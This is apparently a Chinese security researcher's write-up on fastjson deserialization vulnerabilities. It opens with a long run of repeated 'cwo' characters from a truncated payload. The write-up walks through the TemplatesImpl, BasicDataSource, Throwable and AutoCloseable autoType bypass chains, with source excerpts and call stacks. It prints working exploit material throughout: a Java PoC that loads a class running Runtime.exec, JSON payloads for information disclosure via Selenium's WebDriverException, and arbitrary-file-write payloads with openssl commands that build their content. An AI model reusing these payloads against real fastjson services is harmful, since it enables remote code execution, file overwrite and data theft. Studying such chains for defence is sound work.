cwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocflag"
        }
    }:'b'
}

Tips

反序列化链用到的链BasicDataSource在不同版本中的全类名有所差异,具体参考kingx师傅

fastjson1.2.24(TemplatesImpl)

限制条件

  1. fastjson1.2.22-1.2.24,在22之前未引入Feature.SupportNonPublicField,在24之后增加了checkAutoType函数过滤反序列化的类

反序列化链

整个链路比较简单,按照代码中的序号一步步跟就好了。最后加载类生成Class对象,然后调用newInstance创建实例时,调用无参构造,触发命令执行。

public class TemplatesImpl{
    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();//[1]
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
    
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//[2]

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }
    
    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();//[3]
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//[5]
            //....
        }
    }
    
    private void defineTransletClasses()
        throws TransformerConfigurationException {

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);//[4]
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
        }
    }
}

poc

package com.zfirm.fastjson._TemplatesImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String evilClassPath = System.getProperty("user.dir") + "\\EvilCalc.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilCalc extends AbstractTranslet {
    public EvilCalc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
}

总结

这个链我认为还是不太好用,因为需要额外设置JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);,指定允许json反序列化private修饰的属性。

fastjson1.2.25(BasicDataSource)打不通

在前文fastjson1.2.41(JdbcRowSetImpl)已经提到了绕过黑名单类的方式之一是在类名前后分别添加L;,然而这样是行不通的。虽然可以得到Class对象,但是马上就抛出了异常。

public class ParserConfig {
    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (this.autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
        }

        if (clazz != null) {
        //问题出在这,如果clazz实现了DataSourc接口或是ClassLoader的子类,就会抛出异常。BasicDataSource就实现了这个接口
            if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                }

                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }
}

由于上述限制,导致如下的payload全部无效

  1. L;绕过,BasicDataSource实现了DataSource接口,抛出异常

    {
            "@type": "Lorg.apache.tomcat.dbcp.dbcp.BasicDataSource;",
            "driverClassLoader": {
                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName": "$$BCEL...$A$A"
    }
    
  2. class缓存+L;绕过,com.sun.org.apache.bcel.internal.util.ClassLoader是java.lang.ClassLoader的子类,抛出异常

    [{
            '@type':"java.lang.Class",
            'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'
        },
        {
            '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
            'driverClassLoader':
            {
                "@type": "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
            },
            'driverClassName':'$$BCEL...$A$A'
        }]
    
  3. class缓存绕过,driverClassLoader是对象属性,expectClass!=null,导致会先进行黑名单检测,再从缓存中取。这就使得缓存失效,绕过不了

    public class ParserConfig {
        public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
            //expectClass != null,先进行黑名单检测,检测时就挂掉了
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }
    
                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//从缓存中取
        }
    }
    
    {
        'a':
        {
            '@type':"java.lang.Class",
            'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'
        },
        'b':
        {
            '@type':"java.lang.Class",
            'val':'Lcom.sun.org.apache.bcel.internal.util.ClassLoader;'
        },
        'c':
        {
            '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
            'driverClassLoader':
            {
                '@type':"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
            },
            'driverClassName':'$$BCEL$$$l$8b...$A$A'
        }
    }
    

fastjson1.2.68_Throwable

利用条件

  1. fastjson<=1.2.68
  2. 需要有可控的Exception子类,或者是某些框架自带的比较危险的Exception子类

payload

注意,第一个type不要写成java.lang.Throwable,否则无法绕过autotype的限制

{"@type":"java.lang.Exception", "@type":"com.zfirm.fastjson._1268.PingException","domain":"calc"}

demo

反序列化链

第一个@type指定为java.lang.Exception,进入checkAutoType时,由于java.lang.Exception在缓存中能取到,直接返回,通过了checkAutoType的检测。这里列了一下缓存中有哪些类

image-20210810140213732

"java.lang.IndexOutOfBoundsException" -> {Class@697} "class java.lang.IndexOutOfBoundsException"
"java.lang.Integer" -> {Class@273} "class java.lang.Integer"
"java.lang.NoSuchFieldException" -> {Class@700} "class java.lang.NoSuchFieldException"
"java.lang.Long" -> {Class@272} "class java.lang.Long"
"java.math.BigInteger" -> {Class@554} "class java.math.BigInteger"
"java.lang.LinkageError" -> {Class@329} "class java.lang.LinkageError"
"java.lang.StringIndexOutOfBoundsException" -> {Class@705} "class java.lang.StringIndexOutOfBoundsException"
"java.lang.StackOverflowError" -> {Class@324} "class java.lang.StackOverflowError"
"long" -> {Class@708} "long"
"java.lang.VerifyError" -> {Class@710} "class java.lang.VerifyError"
"java.util.LinkedHashMap" -> {Class@97} "class java.util.LinkedHashMap"
"java.util.Calendar" -> {Class@713} "class java.util.Calendar"
"java.lang.StackTraceElement" -> {Class@715} "class java.lang.StackTraceElement"
"[long" -> {Class@348} "class [J"
"java.lang.NoSuchMethodError" -> {Class@211} "class java.lang.NoSuchMethodError"
"java.util.concurrent.atomic.AtomicLong" -> {Class@105} "class java.util.concurrent.atomic.AtomicLong"
"java.util.TreeMap" -> {Class@164} "class java.util.TreeMap"
"java.util.Date" -> {Class@721} "class java.util.Date"
"java.lang.NoSuchFieldError" -> {Class@723} "class java.lang.NoSuchFieldError"
"java.util.concurrent.atomic.AtomicInteger" -> {Class@188} "class java.util.concurrent.atomic.AtomicInteger"
"java.lang.Short" -> {Class@274} "class java.lang.Short"
"java.util.Locale" -> {Class@42} "class java.util.Locale"
"java.lang.InstantiationException" -> {Class@728} "class java.lang.InstantiationException"
"java.lang.SecurityException" -> {Class@730} "class java.lang.SecurityException"
"java.sql.Timestamp" -> {Class@732} "class java.sql.Timestamp"
"java.util.concurrent.ConcurrentHashMap" -> {Class@38} "class java.util.concurrent.ConcurrentHashMap"
"java.util.UUID" -> {Class@735} "class java.util.UUID"
"java.lang.IllegalAccessError" -> {Class@737} "class java.lang.IllegalAccessError"
"com.alibaba.fastjson.JSONObject" -> {Class@570} "class com.alibaba.fastjson.JSONObject"
"[short" -> {Class@350} "class [S"
"java.util.HashSet" -> {Class@9} "class java.util.HashSet"
"[byte" -> {Class@351} "class [B"
"java.lang.Boolean" -> {Class@280} "class java.lang.Boolean"
"java.sql.Date" -> {Class@744} "class java.sql.Date"
"short" -> {Class@746} "short"
"java.lang.Object" -> {Class@3} "class java.lang.Object"
"java.util.BitSet" -> {Class@20} "class java.util.BitSet"
"[char" -> {Class@354} "class [C"
"java.lang.Float" -> {Class@277} "class java.lang.Float"
"java.math.BigDecimal" -> {Class@556} "class java.math.BigDecimal"
"java.lang.Character" -> {Class@279} "class java.lang.Character"
"java.lang.InternalError" -> {Class@357} "class java.lang.InternalError"
"[double" -> {Class@352} "class [D"
"byte" -> {Class@756} "byte"
"double" -> {Class@758} "double"
"java.lang.Exception" -> {Class@334} "class java.lang.Exception"
"java.lang.Double" -> {Class@276} "class java.lang.Double"
"[B" -> {Class@351} "class [B"
"java.lang.TypeNotPresentException" -> {Class@762} "class java.lang.TypeNotPresentException"
"[C" -> {Class@354} "class [C"
"[D" -> {Class@352} "class [D"
"java.text.SimpleDateFormat" -> {Class@766} "class java.text.SimpleDateFormat"
"[F" -> {Class@353} "class [F"
"[I" -> {Class@349} "class [I"
"java.util.TreeSet" -> {Class@770} "class java.util.TreeSet"
"[J" -> {Class@348} "class [J"
"java.util.ArrayList" -> {Class@230} "class java.util.ArrayList"
"java.lang.IllegalMonitorStateException" -> {Class@323} "class java.lang.IllegalMonitorStateException"
"com.alibaba.fastjson.JSONArray" -> {Class@775} "class com.alibaba.fastjson.JSONArray"
"[S" -> {Class@350} "class [S"
"java.lang.String" -> {Class@344} "class java.lang.String"
"java.lang.Number" -> {Class@278} "class java.lang.Number"
"java.util.LinkedHashSet" -> {Class@780} "class java.util.LinkedHashSet"
"[Z" -> {Class@355} "class [Z"
"java.lang.NegativeArraySizeException" -> {Class@783} "class java.lang.NegativeArraySizeException"
"java.lang.NumberFormatException" -> {Class@785} "class java.lang.NumberFormatException"
"java.lang.RuntimeException" -> {Class@333} "class java.lang.RuntimeException"
"char" -> {Class@788} "char"
"java.lang.OutOfMemoryError" -> {Class@325} "class java.lang.OutOfMemoryError"
"java.lang.IllegalStateException" -> {Class@791} "class java.lang.IllegalStateException"
"java.sql.Time" -> {Class@793} "class java.sql.Time"
"java.lang.NoSuchMethodException" -> {Class@795} "class java.lang.NoSuchMethodException"
"java.util.Collections$EmptyMap" -> {Class@223} "class java.util.Collections$EmptyMap"
"[boolean" -> {Class@355} "class [Z"
"float" -> {Class@799} "float"
"java.lang.AutoCloseable" -> {Class@293} "interface java.lang.AutoCloseable"
"java.lang.NullPointerException" -> {Class@265} "class java.lang.NullPointerException"
"java.lang.Byte" -> {Class@275} "class java.lang.Byte"
"[int" -> {Class@349} "class [I"
"com.alibaba.fastjson.JSONPObject" -> {Class@805} "class com.alibaba.fastjson.JSONPObject"
"java.lang.Cloneable" -> {Class@339} "interface java.lang.Cloneable"
"java.lang.IllegalAccessException" -> {Class@808} "class java.lang.IllegalAccessException"
"java.util.IdentityHashMap" -> {Class@810} "class java.util.IdentityHashMap"
"java.util.HashMap" -> {Class@207} "class java.util.HashMap"
"java.lang.NoClassDefFoundError" -> {Class@813} "class java.lang.NoClassDefFoundError"
"java.util.Hashtable" -> {Class@309} "class java.util.Hashtable"
"java.util.WeakHashMap" -> {Class@181} "class java.util.WeakHashMap"
"java.lang.IllegalThreadStateException" -> {Class@817} "class java.lang.IllegalThreadStateException"
"java.lang.IllegalArgumentException" -> {Class@66} "class java.lang.IllegalArgumentException"
"int" -> {Class@820} "int"
"java.util.concurrent.TimeUnit" -> {Class@822} "class java.util.concurrent.TimeUnit"
"boolean" -> {Class@824} "boolean"
"java.lang.InstantiationError" -> {Class@826} "class java.lang.InstantiationError"
"java.lang.InterruptedException" -> {Class@231} "class java.lang.InterruptedException"
"[float" -> {Class@353} "class [F"

接下来,由于是exception类,会有特定的反序列化器ThrowableDeserializer来处理。进入ThrowableDeserializer.deserialze,在这个方法中,读到了payload中的第二个@type,继续进入checkAutoType

image-20210810140349326

这里有指定expectClass(checkAutoType的第二个参数),指定为java.lang.Throwable,使得expectClassFlag=true,进入if并加载@type指定的类,然后checkAutoType就返回了

摘自浅蓝师傅

checkAutoType 一般有以下几种情况会通过校验

  1. 白名单里的类
  2. 开启了 autotype
  3. 使用了 JSONType 注解
  4. 指定了期望类(expectClass)
  5. 缓存 mapping 中的类

image-20210810140641679

接下来就是常规的创建对象调用setter设置字段,然后调用getter方法。这里不赘述,这个链子主要关注如何绕过checkAutoType

实际场景

场景来源于浅蓝师傅

selenium依赖中存在可以利用的异常类org.openqa.selenium.WebDriverException,利用这个类可以得到一些敏感信息:主机IP、主机名、系统名、系统架构、操作系统版本、java版本、Selenium版本、webdriver驱动版本

通过$ref 字段来调用异常类对象的getSystemInformation方法把值引用到content字段,就可以输出敏感信息了。

payload

{
        "name":"tony",
        "email":"tony@qq.com",
        "content":{"$ref":"$r2.message"},
        "r2":{
                    "@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"
              }
}

fastjson1.2.68_AutoCloseable_b1u3r

利用条件

  1. fastjson<=1.2.68

  2. 存在如下依赖(具体版本要求不严格,只要存在需要的类即可)

    #利用org.eclipse.core.internal.localstore.SafeFileOutputStream
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjtools</artifactId>
        <version>1.9.5</version>
    </dependency>
    
    #利用com.esotericsoftware.kryo.io.Output
    <dependency>
        <groupId>com.esotericsoftware</groupId>
        <artifactId>kryo</artifactId>
        <version>4.0.0</version>
    </dependency>
    
    #利用com.sleepycat.bind.serial.SerialOutput
    <dependency>
        <groupId>com.sleepycat</groupId>
        <artifactId>je</artifactId>
        <version>5.0.73</version>
    </dependency>
    

危害

  1. 任意文件写入

payload

    {
        "stream": {
            "@type": "java.lang.AutoCloseable",
            "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
            "targetPath": "{你要写入的文件,路径可以任意指定}",
            "tempPath": "xxx"
        },
        "writer": {
            "@type": "java.lang.AutoCloseable",
            "@type": "com.esotericsoftware.kryo.io.Output",
            "buffer": "{base64编码的文件内容}",
            "outputStream": {
                "$ref": "$.stream"
            },
            "position": {文件内容长度}
        },
        "close": {
            "@type": "java.lang.AutoCloseable",
            "@type": "com.sleepycat.bind.serial.SerialOutput",
            "out": {
                "$ref": "$.writer"
            }
        }
    }

反序列化链

浅蓝师傅讲的比较详细了,这里做些许补充

AutoClosable这条链的利用思路跟前面的Throwable是非常类似的,都是指定了两个@type字段,第一个@type指定为AutoClosable,通过缓存直接通过了checkAutoType,并且使用JavaBeanDeserializer来处理第二个@type的反序列化。在解析第二个@type时,由于指定了expectClass,也可以轻松通过checkAutoType。

不过,在利用expectClass通过checkAutoType时,还会有两个拦路虎。一是在@type指定的类加载之前,会有黑名单检测@type指定的className,在1070行

image-20210811131923233

此外,在1111行成功加载了@type指定的类之后,还会有一个黑名单检测,不能是ClassLoader、DataSource、RowSet的实现类或是子类。这两个条件就堵住了很多payload,使得JNDI就比较困难了,只能是从其他的类入手。

image-20210811132112663

这里浅蓝师傅找到的是文件流相关的三个类,它们在这个poc中分别起到了如下作用

  • org.eclipse.core.internal.localstore.SafeFileOutputStream:创建恶意文件
  • com.esotericsoftware.kryo.io.Output:存储将要写入的内容
  • com.sleepycat.bind.serial.SerialOutput:触发写入操作

具体来看

首先创建SafeFileOutputStream对象,它的作用是创建恶意文件,这里的temp和target我们都可控,target指定为你要写入的文件路径,temp随意指定一个不存在的文件路径即可。这样就能满足两个if,打开文件流

image-20210811141131707

接下来创建Output对象,调用无参构造,然后调用setter设置我们指定的outputStream、position和buffer。

image-20210811141416121

接下来是创建SerialOutput对象。可以看到,我们上一步构造的output对象被传入了父类ObjectOutputStream的有参构造

这里解释一下为什么要用SerialOutput,而不能直接用他的父类ObjectOutputStream。

如果可以直接用java自带的ObjectOutputStream,那这个链子将会更加通用。而且我们之所以用SerialOutput,也是希望通过这个类间接调用到ObjectOutputStream的有参构造。那么为什么不能直接用ObjectOutputStream呢?

如果直接用ObjectOutputStream,fastjson在反序列化时调用的是它的无参构造,而我们希望调用的是有参构造。所以我们需要使用SerialOutput,这个类只有一个有参构造,fastjson也就只能调用这个构造器,在这个构造器中调用了父类ObjectOutputStream的有参构造,满足条件。

image-20210811141944792

接下来的调用过程就比较简单了,直接给出调用栈。在ObjectOutputStream的有参构造中会触发文件写入,将buffer中的数据写入文件。

write:135, SafeFileOutputStream (org.eclipse.core.internal.localstore)
write:116, OutputStream (java.io)
flush:185, Output (com.esotericsoftware.kryo.io)
require:164, Output (com.esotericsoftware.kryo.io)
writeBytes:251, Output (com.esotericsoftware.kryo.io)
write:219, Output (com.esotericsoftware.kryo.io)
drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)
setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)
<init>:247, ObjectOutputStream (java.io)
<init>:73, SerialOutput (com.sleepycat.bind.serial)

fastjson1.2.68_AutoCloseable_rmb122

利用条件

  1. fastjson<=1.2.68
  2. 对应版本的jdk编译时指定了-parameters参数,即生成的字节码文件中包含了参数名(后文解释)

危害

  1. 任意文件写入

payload

这里直接贴一下沈沉舟rmb122的payload

jdk11

本人已测试于jdk11.0.5,成功

#生成文件内容
echo -ne "r2 is here" | openssl zlib | base64 -w 0
#计算文件内容长度
echo -ne "r2 is here" | openssl zlib | wc -c

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':
            {
                'array':'{base64编码的压缩文件内容}',
                'limit':{压缩后的文件内容长度}
            }
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

jdk8/10

由于本人windows安装的jdk都不满足利用条件2,没有复现。

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

反序列化链

核心的调用栈如下所示

